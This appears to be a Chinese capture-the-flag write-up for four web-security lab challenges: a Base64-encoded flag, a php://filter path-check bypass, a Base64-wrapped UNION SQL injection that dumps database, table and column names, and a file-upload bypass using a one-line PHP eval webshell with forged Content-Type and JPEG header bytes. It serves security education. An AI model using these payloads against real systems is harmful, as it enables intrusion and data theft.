# Web安全技术-ctf2 writeup





ctf 专栏收录该内容

35 篇文章 0 订阅 订阅专栏

文章目录

0x00 第一题: Do you want flag? 0x01 第二题: PHP is the BEST! 0x02 第三题: ID system 0x03 第四题: Upload 3.1 方法一 3.2 方法二 0x04 参考资料

0x00 第一题: Do you want flag?

题目中提示了: You can tell me if you want flag

在输入框中输入flag, 返回一个加密字符串



该字符串为Base64编码,解码得flag: flag{WelC0me\_to\_ctf2}

# 0x01 第二题: PHP is the BEST!

1. 在Index page中,点击another page。F12后发现给了flag所在目录的提示,并且有个判断文件路径的脚本

← → C ③ 不安全   124.16.71.227:40004/?file=another	🖈 🖪 🖉 🗶 🖩 🔍 😒 🗄
	R     Elements     Console     Sources     Network     I     X <h1>This is another page</h1>
This is another page	├── flag └── html └── page.php └──index └──anothan
But nothing	>
return index page	<pre>if (strpos(\$file_path, ".") === 0    substr_count(\$file_path, "") &gt; 2) { echo "malicious parameter } &gt;  </pre>
	html.gr_124_16_71_227 body
	Styles Event Listeners DOM Breakpoints Properties Accessibility
	<pre>Filter :hov .cls +</pre>
	body { user agent stylesheet display: block; margini → 8px; } Filter Show all > background-color ] rgb(240, 240, 242)
	Inherited from html.gr_124
	html { user agent stylesheet  bdisplay https://display.astronomy.astr

### 2. 脚本分析:

```
<!--
if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") > 2) {
    echo "malicious parameter</>
}
-->
```

函数的作用:

- strpos查找字符串在另一字符串中第一次出现的位置(区分大小写)
- substr\_count()函数计算子串在字符串中出现的次数

即,如果文件路径是以.开头,或者路径中出现...的次数超过2次,则拿不到flag

尝试file\_path为 ../flag, 果然得不到flag

÷	$\rightarrow$	G	③ 不安全   124.16.71.227:40004/?file=/flag	
		ma	alicious parameter	
		ret	urn index page	

3. 构造文件路径: php://filter/resource=../flag,最终得到flag: flag{Bypass\_File\_Path\_Check}



# 0x02 第三题: ID system

URL: http://124.16.71.227:40005/?id=MQ%3d%3d 中,%3d%3d 是经过URL编码后的结果。解码后是: MQ==。猜测为 base64,解码后得: 1

通过 order by 进行尝试,获取用户这个表的属性个数

1. THE A TOTAL OF A TOTAL OF A TOTAL AND A

- 2. 结果: no result
- 3. 输入: 构造 1 order by 2: http://124.16.71.227:40005/?id=MSBvcmRlciBieSAy
- 4. 结果: S\_ID: 1 S\_Name: Zhang, San
- 5. 分析: 因此可以判断用户表有两个属性列

获取所有的数据库名称

- 1. 输入: 1 union select 1, database();
  - 其中, 1 union select 1, database(); 经过base64编码后为: MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=,因此URL为: http://124.16.71.227:40005/?id=MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=
  - 2. 从第2点可知,用户表有两个属性,database()返回的是一列。为了union能顺利执行,在select后面多了个1
- 2. 结果:

S\_ID: 1 - S\_Name: Zhang, San
S\_ID: 1 - S\_Name: websec

3. 分析: 数据库名为 websec

获取数据库 websec 中的表名

- 输入: 1 union select 1, group\_concat(table\_name) from information\_schema.tables where table\_schema='websec';, URL为: http://124.16.71.227:40005/? id=MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpICBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXM gd2hlcmUgdGFibGVfc2NoZW1hPSd3ZWJzZWMnOw==
- 2. 结果:

S\_ID: 1 - S\_Name: Zhang, San
S\_ID: 1 - S\_Name: Computer\_Science,Web\_Security,flag

3. 分析:存在三个表,可以看到有个表的名字是flag,应该就是我们要的了

#### 获取表 flag 中的字段名

- 输入: 1 union select 1, group\_concat(column\_name) from information\_schema.columns where table\_schema='websec' and table\_name='flag'; , URL为 http://124.16.71.227:40005/? id=MSB1bmlvbiBzZWx1Y3QgMSwgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW11KSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5 zIHdoZXJ1IHRhYmx1X3NjaGVtYT0nd2Vic2VjJyBhbmQgdGFibGVfbmFtZT0nZmxhZyc7CgoK
- 2. 结果:

S\_ID: 1 - S\_Name: Zhang, San
S\_ID: 1 - S\_Name: value

3. 分析,表flag中仅有一个字段为 value

获取表 flag 中的数据

- 输入: 1 union select 1, group\_concat(value) from flag; , URL为: http://124.16.71.227:40005/?
   id=MSB1bmlvbiBzZWx1Y3QgMSwgZ3JvdXBfY29uY2F0KHZhbHV1KSBmcm9tIGZsYWc7
- 2. 结果:

S\_ID: 1 - S\_Name: Zhang, San
S\_ID: 1 - S\_Name: flag{Have\_Fun\_In\_SQL\_Injection}

3. 分析: flag为: flag{Have\_Fun\_In\_SQL\_Injection}

一些函数的作用:

- 1. union()函数可以实现跨表查询
- 2. group\_concat() 将一组中的数据拼起来转成一行数据,比如同一个category中的商品id通过 group\_concat() 函数聚合后得到的只有一条数据: 1407,1232,1108

## 0x03 第四题: Upload

## 3.1 方法一

- 1. 新建一个php文件,内容为: <?php @evalOST['pass']);?>
- 2. 尝试上传php文件,发现前端有文件类型检查



F12检查, submit按钮的点击函数存在类型检查, 允许的文件类型为: ['gif','jpg','png']:

<input type="submit" name="submit" value="Submit" onclick="checkFileSizeAndType(1\*1024\*1024,['gif','jpg','png'],
'file');">

因此,尝试直接在Chrome里开发者工具的Elements中,在函数 checkFileSizeAndType 的参数中添加 php 的文件类型作为参数:

<input type="submit" name="submit" value="Submit" onclick="checkFileSizeAndType(1\*1024\*1024,['gif','jpg','png','
php'],'file');">

发现仍然绕不过(/(ToT)/~~ 找不到什么原因,也清理过缓存了,但是Firefox里修改是有效果的),修改的代码没有起效。于 是查看 checkFileSizeAndType()函数,决定重新定义该函数,将文件类型固定在函数里。

```
function checkFileSizeAndType(maxSize,allowType,fileId) {
    ...
    //默认类型
    if(!allowType){
      allowType=new Array('jpg','png');
    }
    // 自己的代码
    allowType = new Array('php', 'jpg', 'png');
    //js.通过id获取上传的文件对象
    var file = document.getElementById(fileId);
....
}
```

将该函数复制到Chrome的console,覆盖掉原网页文档中的checkFileSizeAndType函数

3. 再次上传,发现后端返回的是 stop hacking 的提示信息。说明可能还是被识别出来不是图片了。传输图片除了后缀名的判断,还可以在HTTP报文中的 Content-Type 中指定传输的是图片。用Burpsuit抓包查看:

Burp Suite Professional v2.1 - Temporary Project - licensed to Larry_Lau -			
Burp Project Intruder Repeater Window Help			
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options			
Intercept HTTP history WebSockets history Options			
Request to http://124.16.71.227:40006			
Forward Drop Intercept is on Action	*?		
Raw Params Headers Hex			
POST /index.php HTTP/1.1			
Host: 124.16.71.227.40006			
Content-Type			
Cache-Control: no-cache			
Origin: http://124.16.71.227:40006			
Upgrade-Insecure-Requests: 1			
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryxOG2DG59xcAowDly			
User-Agent: Mozilia/5.0 (Windows NT 10.0; Win64; 364) AppleWebKi/537.36 (KHTML, like Gecko) Chrome/7.0.3865.120 Safari/537.36			
Accept: textmm,applicationximm+xm,applicationximt;q=u.9,image/appl;,1*q=u.8,application/signed-exchange/v=b.5			
Referent Indy II 24, 16, 11, 22, 40000mmex, hip Accent_Encoding radio defata			
Cookie: csrftoken=bypass;			
session=.eJwij0Frg0AQmf8/mbOHVNcchB5adiMJzlhIVWZvRm3XiWuhobQa8t9rKe_0Dt_jezdo-zDOkL2103WIYOwhS_YRzB9zN0B2g4czZODyKqXAO7S1Jykfj9wsFFcKG1ZODhMJXTA4QcGFr/VGuOXgM_E3SqUIfU2xt/xZZTXI9HFu85mAWDWVE7z5Yu2			
ZC8r6yVEmh-wID-cNSKqfriWOzo7yWQlers88xhpPH5jQ6bbbeJ2jTuDFC-uXP7QnuEXxdh8-5DdsB801_4P4LDEBNYQ.EJk1BA.13j5ka7r55rIRLFFF-0BKSFLX7I			
Connection: close			
WebKitFormBoundaryxOG2DG59xcAowDly			
Content-Disposition: form-data; name="file"; filename="test.php"			
Content- I ype: application/octet-stream			
Cohe BavalOSTInaselli 2			
- pp, gerator (1993);:->			
Content-Disposition: form-data; name="submit"			
Submit			
WebKitFormBoundaryxOG2DG59xcAowDly			
	0 matches		

将 Content-Type: 的值修改为图片格式: Content-Type:image/jpeg ,转发数据包

4. 返回结果提示 error file head 。显然在后端还检查了上传的文件的头部是不是图片的头部。

这里使用JPEG文件的头部: FFD8FFE0。用vim编辑webshell文件,在文件头部添加 FFD8FFE0。然后上传该文件。

上传完了访问该文件还是访问不了,尝试获取swp文件(编辑文件的时候突然断电会产生swp文

件): http://124.16.71.227:40006/.index.php.swp 。使用命令 vi -r index.php.swp 查看,代码如下:

```
\<u>#_</u>. <u>+</u>___/(
   if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
    else
    {
        if ($_FILES["file"]["type"] !== "image/jpeg"){
           die("stop hacking!");
        }
        if ($_FILES["file"]["size"] / 1024 > 2048){
            die("size too big!");
        }
        $file_tmp = fopen($_FILES["file"]["tmp_name"], 'rb');
        $bin = fread($file_tmp, 2);
        fclose($file_tmp);
        $data = unpack('C2chars', $bin);
        $type_code = intval($data['chars1'].$data['chars2']);
        $flag = 0;
        switch ($type_code) {
            case 255216:
                $fileType = 'jpg';
                $flag = 1;
                break;
            case 13780:
                $fileType = 'png';
                flag = 1;
                break;
            default:
                $fileType = 'unknown';
                die("error file head!");
                break;
        }
        if ($flag === 1){
            $filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.'));
            $filename = md5($_FILES["file"]["name"]) . $filetype;
            if (strtolower($filetype) === ".php"){
                copy('../flag', $filename);
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            }
            echo "<h1>成功</h1>";
        }
   }
}
?>
```

可以看到在代码最后一个部分中,将flag的内容存入了以md5(filename)作为文件名的文件中。因此,对上传的文件的文件名部分进行md5加密,再进行访问,得flag:flag{Upl0ad\_w1lL\_get\_fl4g}

checkFileSizeAndType 修改后的完整代码:

```
function checkFileSizeAndType(maxSize,allowType,fileId) {
      //默认大小
      if(!maxSize){
          maxSize=10*1024*1024;
      }
      //默认类型
      if(!allowType){
          allowType=new Array('jpg','png');
      }
      // 自己的代码
      allowType = new Array('php', 'jpg', 'png');
      //js通过id获取上传的文件对象
      var file = document.getElementById(fileId);
      var types =allowType;
      var fileInfo = file.files[0];
      if(!fileInfo){
          alert("请选择文件!");
          return false;
      }
      var fileName = fileInfo.name;
      //获取文件后缀名
      var file_typename = fileName.substring(
          fileName.lastIndexOf('.') + 1, fileName.length);
      //定义标志是否可以提交上传
      var isUpload = true;
      // 定义一个错误参数: 1代表大小超出 2代表类型不支持
      var errNum =0;
      if (fileInfo) {
          if (fileInfo.size > maxSize) {
              isUpload = false;
              errNum=1;
          } else {
              for (var i in types) {
                  if (types[i] == file_typename) {
                     isUpload = true;
                     return isUpload;
                  } else {
                     isUpload = false;
                     errNum=2;
                  }
              }
          }
      }
      //对错误的类型进行对应的提示
      if (!isUpload) {
          if(errNum==1){
              var size = maxSize/1024/1024;
              alert("上传的文件必须为小于"+size+"M的图片!");
          }else if(errNum==2){
              alert("上传的"+file_typename+"文件类型不支持!只支持"+types.toString()+"格式");
          }else{
              alert("没有选择文件");
          }
          file.value="";
          return isUpload;
      }
```

- 1. 在得到了swp文件以后,可以知道后台的代码中,直接把flag放入用户上传的php文件中。
- 因此,可以直接上传一个jpg文件: hzy.jpg, burpsuit修改文件后缀名: hzy.php。将hzy.php通过md5加密: 3633f013bd756cb8e7c1c228502ac913
- 3. 然后直接访问: http://124.16.71.227:40006/3633f013bd756cb8e7c1c228502ac913.php 即可拿到 flag: flag{Upl0ad\_w1IL\_get\_fl4g}

# 0x04 参考资料

- 1. 使用SQL查询所有数据库名和表名
- 2. mysql5注入中group\_concat的使用
- 3. SQL注入速查表(上)
- 4. 在线Base64加/解密